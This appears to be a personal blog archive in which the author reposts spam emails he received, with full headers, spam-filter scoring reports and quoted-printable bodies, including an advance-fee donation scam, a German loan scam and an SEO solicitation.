Nigerian spam part 2

Posted by Dave Yadallee on















letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-si=

ze: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=

pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial;">

Season’s Greetings,




letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-si=

ze: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=

pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial;">

I hope you are well.




letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-si=

ze: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=

pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial;">

We are pleased to inform you that a USD $1,000,000 donation from the Ironwo=

od Family Trust Foundation has been approved. This notification is to confi=

rm availability and next-step coordination.




letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-si=

ze: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=

pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial;">

Further details will be provided upon receipt of your reply confirming inte=

rest.




letter-spacing: normal; font-family: Arial, Helvetica, sans-serif; font-si=

ze: small; font-style: normal; font-weight: 400; word-spacing: 0px; white-s=

pace: normal; orphans: 2; widows: 2; background-color: rgb(255, 255, 255); =

font-variant-ligatures: normal; font-variant-caps: normal; -webkit-text-str=

oke-width: 0px; text-decoration-thickness: initial; text-decoration-style: =

initial; text-decoration-color: initial;">

Kind regards,
Mr. David Guzman
Reply Here:&n=

bsp;=

IronwoodFamilyTrustFoundation@hotmail.com

=



Nigerian spam part 1

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Fri, 20 Feb 2026 15:48:43 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vtZIV-00000000NG6-2YEF

for dave@doctor.nl2k.ab.ca;

Fri, 20 Feb 2026 15:48:31 -0700

Resent-From: The Doctor

Resent-Date: Fri, 20 Feb 2026 15:48:31 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [162.240.174.144] (port=37232 helo=162-240-174-144.unifiedlayer.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vtY5G-00000000H4p-1nF5

for root@nk.ca;

Fri, 20 Feb 2026 14:30:56 -0700

Received: from [108.175.8.68] (port=55304)

by server-605330.leancarehealth.com with esmtpa (Exim 4.99.1)

(envelope-from )

id 1veVzi-000000005Do-2lnl

for root@nk.ca;

Sat, 10 Jan 2026 03:14:54 -0700

Reply-To: IronwoodFamilyTrustFoundation@hotmail.com

From: Ironwood Family Trust Foundation

To: root@nk.ca

Subject: Donation Notice

Date: 10 Jan 2026 10:14:52 +0000

Message-ID: <20260110101452.04FBC0DB64B47070@leancarehealth.com>

MIME-Version: 1.0

Content-Type: text/html

Content-Transfer-Encoding: quoted-printable

X-AntiAbuse: This header was added to track abuse, please include it with any abuse report

X-AntiAbuse: Primary Hostname - server-605330.leancarehealth.com

X-AntiAbuse: Original Domain - nk.ca

X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]

X-AntiAbuse: Sender Address Domain - leancarehealth.com

X-Get-Message-Sender-Via: server-605330.leancarehealth.com: authenticated_id: legal@leancarehealth.com

X-Authenticated-Sender: server-605330.leancarehealth.com: legal@leancarehealth.com

X-Source:

X-Source-Args:

X-Source-Dir:

X-Spam_score: 13.7

X-Spam_score_int: 137

X-Spam_bar: +++++++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Season’s Greetings, I hope you are well.



Content analysis details: (13.7 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[108.175.8.68 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

[162.240.174.144 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[162.240.174.144 listed in dnsbl.ahbl.org]

[162.240.174.144 listed in dnsbl.ahbl.org]

[162.240.174.144 listed in dnsbl.ahbl.org]

[162.240.174.144 listed in dnsbl.ahbl.org]

[108.175.8.68 listed in dnsbl.ahbl.org]

[108.175.8.68 listed in dnsbl.ahbl.org]

[108.175.8.68 listed in dnsbl.ahbl.org]

[108.175.8.68 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[162.240.174.144 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[162.240.174.144 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[162.240.174.144 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[162.240.174.144 listed in dnsbl.ahbl.org]

-0.0 SPF_PASS SPF: sender matches SPF record

1.5 CK_HELO_DYNAMIC_SPLIT_IP Relay HELO'd using suspicious hostname

(Split IP)

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE: The

query to Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[162.240.174.144 listed in sa-trusted.bondedsender.org]

0.0 RCVD_IN_VALIDITY_SAFE_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[162.240.174.144 listed in sa-accredit.habeas.com]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

2.5 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN)

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[162.240.174.144 listed in bl.score.senderscore.com]

0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The query to

Validity was blocked. See

https://knowledge.validity.com/hc/en-us/articles/20961730681243

for more information.

[162.240.174.144 listed in bl.score.senderscore.com]

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

0.0 LOTS_OF_MONEY Huge... sums of money

2.5 FREEMAIL_FORGED_REPLYTO Freemail in Reply-To, but not From

1.3 RDNS_NONE Delivered to internal network by a host with no rDNS

0.7 TO_NO_BRKTS_FROM_MSSP Multiple formatting errors

1.5 MONEY_FREEMAIL_REPTO Lots of money from someone using free email?

0.3 FROM_MISSP_EH_MATCH From misspaced, matches envelope

0.0 TO_NO_BRKTS_NORDNS_HTML To: misformatted and no rDNS and HTML only

Subject: {SPAM?} Donation Notice

German language spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 22 Feb 2026 05:37:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu8hE-00000000022-2HxK

for dave@doctor.nl2k.ab.ca;

Sun, 22 Feb 2026 05:36:24 -0700

Resent-From: The Doctor

Resent-Date: Sun, 22 Feb 2026 05:36:24 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from ar138.xvserver.com ([45.227.163.200]:58428)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu5rZ-000000009vq-2yed

for doctor@doctor.nl2k.ab.ca;

Sun, 22 Feb 2026 02:35:04 -0700

Received: from ([105.112.213.2]) by ar138.xvserver.com with MailEnable WebMail; Sun, 22 Feb 2026 06:25:50 -0300

From: "Mr. Richard Hock"

Date: Sun, 22 Feb 2026 01:25:50 -0800

Message-ID:

MIME-Version: 1.0

X-MimeOLE: Produced By MailEnable WebMail.NET V2.0.0.0

X-Mailer: MailEnable WebMail.NET

Content-Type: multipart/alternative;

boundary="__=_AltPart_2077152714_194345850"

X-Spam_score: 8.0

X-Spam_score_int: 80

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Sind Sie es leid, von Gehaltsscheck zu Gehaltsscheck zu leben?

Benötigen Sie finanzielle Mittel, um Ihre Träume zu verwirklichen? Dann

sind Sie hier genau richtig! Wir bieten Ihnen zuverlässige Kr [...]



Content analysis details: (8.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.6 MISSING_SUBJECT Missing Subject: header

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

[45.227.163.200 listed in dnsbl.ahbl.org]

[45.227.163.200 listed in dnsbl.ahbl.org]

[45.227.163.200 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.2 MISSING_HEADERS Missing To: header

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HK_NAME_MR_MRS No description available.

0.0 NO_RDNS2 Sending MTA has no reverse DNS

Subject: {SPAM?}



This is a multi-part message in MIME format.



--__=_AltPart_2077152714_194345850

Content-Type: text/plain;

charset="UTF-8"

Content-Transfer-Encoding: quoted-printable















Sind Sie es leid, von Gehaltsscheck zu Gehaltsscheck zu leben=3F Ben=C3=B6ti=

gen Sie finanzielle Mittel, um Ihre Tr=C3=A4ume zu verwirklichen=3F Dann sind=

Sie hier genau richtig! Wir bieten Ihnen zuverl=C3=A4ssige Kredite f=C3=BCr =

Privatpersonen, Unternehmen und alle anderen Bereiche. Profitieren Sie von g=

=C3=BCnstigen und erschwinglichen Zinsen und unkomplizierter Kreditvergabe. K=

ontaktieren Sie Herrn Richard Hock per E-Mail: rhockson60@gmail.com Bitte geb=

en Sie dabei Ihren vollst=C3=A4ndigen Namen, Ihre Adresse, den gew=C3=BCnscht=

en Kreditbetrag, die Laufzeit, Ihre Telefonnummer und Ihr Land/Bundesland an.=

Vielen Dank.



--__=_AltPart_2077152714_194345850

Content-Type: text/html;

charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



 





letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; tex=

t-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0=

px; white-space: normal; background-color: #ffffff; text-decoration-thickness=

: initial; text-decoration-style: initial; text-decoration-color: initial; di=

rection: ltr; overflow: auto hidden;" id=3D"m 6556978335024038646:ob">




or: #000000;">


mal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orp=

hans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2=

; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; bac=

kground-color: #ffffff; text-decoration-thickness: initial; text-decoration-s=

tyle: initial; text-decoration-color: initial; font-family: 'andale mono', ti=

mes; font-size: 12pt;"> 


Sind Sie es leid, von Gehaltsscheck zu Gehaltsscheck zu leben=3F Ben=C3=B6tig=

en Sie finanzielle Mittel, um Ihre Tr=C3=A4ume zu verwirklichen=3F Dann sind =

Sie hier genau richtig! Wir bieten Ihnen zuverl=C3=A4ssige Kredite f=C3=BCr P=

rivatpersonen, Unternehmen und alle anderen Bereiche. Profitieren Sie von g=

=C3=BCnstigen und erschwinglichen Zinsen und unkomplizierter Kreditvergabe. K=

ontaktieren Sie Herrn Richard Hock per E-Mail: rhockson60@gmail.com Bitte geb=

en Sie dabei Ihren vollst=C3=A4ndigen Namen, Ihre Adresse, den gew=C3=BCnscht=

en Kreditbetrag, die Laufzeit, Ihre Telefonnummer und Ihr Land/Bundesland an.=

Vielen Dank.
















--__=_AltPart_2077152714_194345850--

German language spam

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 22 Feb 2026 05:37:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu8hE-00000000022-2HxK

for dave@doctor.nl2k.ab.ca;

Sun, 22 Feb 2026 05:36:24 -0700

Resent-From: The Doctor

Resent-Date: Sun, 22 Feb 2026 05:36:24 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from ar138.xvserver.com ([45.227.163.200]:58428)

by doctor.nl2k.ab.ca with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu5rZ-000000009vq-2yed

for doctor@doctor.nl2k.ab.ca;

Sun, 22 Feb 2026 02:35:04 -0700

Received: from ([105.112.213.2]) by ar138.xvserver.com with MailEnable WebMail; Sun, 22 Feb 2026 06:25:50 -0300

From: "Mr. Richard Hock"

Date: Sun, 22 Feb 2026 01:25:50 -0800

Message-ID:

MIME-Version: 1.0

X-MimeOLE: Produced By MailEnable WebMail.NET V2.0.0.0

X-Mailer: MailEnable WebMail.NET

Content-Type: multipart/alternative;

boundary="__=_AltPart_2077152714_194345850"

X-Spam_score: 8.0

X-Spam_score_int: 80

X-Spam_bar: ++++++++

X-Spam_report: Spam detection software, running on the system "doctor.nl2k.ab.ca",

has identified this incoming email as possible spam. The original

message has been attached to this so you can view it or label

similar future email. If you have any questions, see

@@CONTACT_ADDRESS@@ for details.



Content preview: Sind Sie es leid, von Gehaltsscheck zu Gehaltsscheck zu leben?

Benötigen Sie finanzielle Mittel, um Ihre Träume zu verwirklichen? Dann

sind Sie hier genau richtig! Wir bieten Ihnen zuverlässige Kr [...]



Content analysis details: (8.0 points, 5.0 required)



pts rule name description

---- ---------------------- --------------------------------------------------

1.6 MISSING_SUBJECT Missing Subject: header

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

[45.227.163.200 listed in dnsbl.ahbl.org]

[45.227.163.200 listed in dnsbl.ahbl.org]

[45.227.163.200 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

[105.112.213.2 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[45.227.163.200 listed in dnsbl.ahbl.org]

1.0 RCVD_IN_WSFF RBL: Received via a relay in will-spam-for-food.eu.org

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[105.112.213.2 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

[45.227.163.200 listed in will-spam-for-food.eu.org]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

1.2 MISSING_HEADERS Missing To: header

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

0.0 HK_NAME_MR_MRS No description available.

0.0 NO_RDNS2 Sending MTA has no reverse DNS

Subject: {SPAM?}



This is a multi-part message in MIME format.



--__=_AltPart_2077152714_194345850

Content-Type: text/plain;

charset="UTF-8"

Content-Transfer-Encoding: quoted-printable















Sind Sie es leid, von Gehaltsscheck zu Gehaltsscheck zu leben=3F Ben=C3=B6ti=

gen Sie finanzielle Mittel, um Ihre Tr=C3=A4ume zu verwirklichen=3F Dann sind=

Sie hier genau richtig! Wir bieten Ihnen zuverl=C3=A4ssige Kredite f=C3=BCr =

Privatpersonen, Unternehmen und alle anderen Bereiche. Profitieren Sie von g=

=C3=BCnstigen und erschwinglichen Zinsen und unkomplizierter Kreditvergabe. K=

ontaktieren Sie Herrn Richard Hock per E-Mail: rhockson60@gmail.com Bitte geb=

en Sie dabei Ihren vollst=C3=A4ndigen Namen, Ihre Adresse, den gew=C3=BCnscht=

en Kreditbetrag, die Laufzeit, Ihre Telefonnummer und Ihr Land/Bundesland an.=

Vielen Dank.



--__=_AltPart_2077152714_194345850

Content-Type: text/html;

charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



 





letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; tex=

t-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0=

px; white-space: normal; background-color: #ffffff; text-decoration-thickness=

: initial; text-decoration-style: initial; text-decoration-color: initial; di=

rection: ltr; overflow: auto hidden;" id=3D"m 6556978335024038646:ob">




or: #000000;">


mal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orp=

hans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2=

; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; bac=

kground-color: #ffffff; text-decoration-thickness: initial; text-decoration-s=

tyle: initial; text-decoration-color: initial; font-family: 'andale mono', ti=

mes; font-size: 12pt;"> 


Sind Sie es leid, von Gehaltsscheck zu Gehaltsscheck zu leben=3F Ben=C3=B6tig=

en Sie finanzielle Mittel, um Ihre Tr=C3=A4ume zu verwirklichen=3F Dann sind =

Sie hier genau richtig! Wir bieten Ihnen zuverl=C3=A4ssige Kredite f=C3=BCr P=

rivatpersonen, Unternehmen und alle anderen Bereiche. Profitieren Sie von g=

=C3=BCnstigen und erschwinglichen Zinsen und unkomplizierter Kreditvergabe. K=

ontaktieren Sie Herrn Richard Hock per E-Mail: rhockson60@gmail.com Bitte geb=

en Sie dabei Ihren vollst=C3=A4ndigen Namen, Ihre Adresse, den gew=C3=BCnscht=

en Kreditbetrag, die Laufzeit, Ihre Telefonnummer und Ihr Land/Bundesland an.=

Vielen Dank.
















--__=_AltPart_2077152714_194345850--

Web/SEO/App spam from Microsoft Outlook Part 2 (body of e-mail)

Posted by Dave Yadallee on


--_000_TYZPR04MB71807ECD3B15AF18D5FD6800DF76ATYZPR04MB7180apcp_

Content-Type: text/plain; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable



Hi,



I reached out Friday but haven=92t heard back yet. Could you let me know if=

you=92d be interested in SEO service at a reasonable cost?



Can I send you our SEO packages and proposal?



Thank you!



Khushi



On Fri, Feb 06, 2026, 3:57 PM < > wrote:



Hi,



How are you?



I=92m a SEO Expert! And I found that your website isn't doing well on Googl=

e search results. We can help your website rank higher on Google.



We will be more than happy to send you =93SEO report=94 and =93Pricing=94.



Let me know what you think.



Regards,



Khushi Maan,



P.S. If you are not interested in our services, please write Unsubscribe in=

the subject line and send it to us.





--_000_TYZPR04MB71807ECD3B15AF18D5FD6800DF76ATYZPR04MB7180apcp_

Content-Type: text/html; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable








252">








color: rgb(0, 0, 0);" class=3D"elementToProof">

Hi,



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

I reached out Friday but haven=92t heard back yet. Could you let me know if=

you=92d be interested in SEO service at a reasonable cost?



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Can I send you =

our SEO packages and proposal?



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Thank you!



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Khushi



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

On Fri, Feb 06, 2026, 3:57 PM < > wrote:



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Hi,



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

How are you?



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

I=92m a SEO Expert! And I found that your website isn't doing well on Googl=

e search results. We can help your website rank higher on Google.



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(200, 38, 19);" class=3D"elementToProof">

We will be more th=

an happy to send you =93SEO report=94 and =93Pricing=94.



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Let me know what you think.



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Regards,



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

Khushi Maan,



color: rgb(0, 0, 0);" class=3D"elementToProof">







color: rgb(0, 0, 0);" class=3D"elementToProof">

P.S. If you are not interested in our services, please write Unsubscr=

ibe in the subject line and send it to us.



Calibri, Helvetica, sans-serif; font-size: 12pt; color: rgb(0, 0, 0);" clas=

s=3D"elementToProof">












--_000_TYZPR04MB71807ECD3B15AF18D5FD6800DF76ATYZPR04MB7180apcp_--

Web/SEO/App spam from Microsoft Outlook Part 1 (headers of e-mail)

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 22 Feb 2026 05:35:00 -0700

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu8fm-00000000Pvt-3ajs

for dave@doctor.nl2k.ab.ca;

Sun, 22 Feb 2026 05:34:54 -0700

Resent-From: The Doctor

Resent-Date: Sun, 22 Feb 2026 05:34:54 -0700

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-koreacentralazolkn19013077.outbound.protection.outlook.com ([52.103.74.77]:62056 helo=SEYPR02CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.98.2 (FreeBSD))

(envelope-from )

id 1vu5Ea-0000000076k-0J5e

for root@nk.ca;

Sun, 22 Feb 2026 01:54:47 -0700

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=nZ+YECxoTexvOExa7q1eXHxcak5JfzRH6EnkogSVVRfqUkBRVlZTcFXZK9+z2Mi4/mUCSAIFeGhOGcVLz6oDIoR5Wu3p0PVisg+RrJJEjXzAvumNbXNPIi6x4XtpFsbDuIhsyP5u6p3JfXxZFpQmn90Yy/6YhxYEeeRbiVN4pUZ5QE3X7q612qCXnHPw66EzPPacl1XldIf8fxulnr5XHuqJoSuMKtVkDQmU7BuBnj2A3N4ULUWe1gO+2vBGXSoYYkD2vvsgkE3AeRHqok653RQIohnu27V96q0MZzFvHaAIiEwaEc0bUFdOX36eQl9rVKR0IzfOflbAaJxClEKF2Q==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=+bG3Z3MHjZ9Y1KYyLpaffWJExb+to9vqMlMCx6dUVgM=;

b=MkTgyn5iAESb/XFQGRrSroYhsSoQVUCC0xE7f2p+6LDzlmNJvTHNzTAEKJwZyADkQdWL1slv+bx929KnN/voTzjjWxS+z3yGoLpI00vJ8igt56BVJdNMO9hFaWdvtXZdk2jdKoYNOU5aGtBGtgy+GectG8LAOPOFjyzPEv63MPRzhNDnFjsk2U4sMVl1TmtKvNRLQOl4i9T8Wz0eBZPqsHEHrfb3sAUH+e/syoZwCseZyuhF5Sa0pt4+r6ZUZP/gDEc+D+q03MAaxocN+XPOpGzxwrDCXgtuet2jnQLr+sn3ADF7S0hB/9M9ed6IHudsXFE719O8OKodE6x/SwgjPg==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=+bG3Z3MHjZ9Y1KYyLpaffWJExb+to9vqMlMCx6dUVgM=;

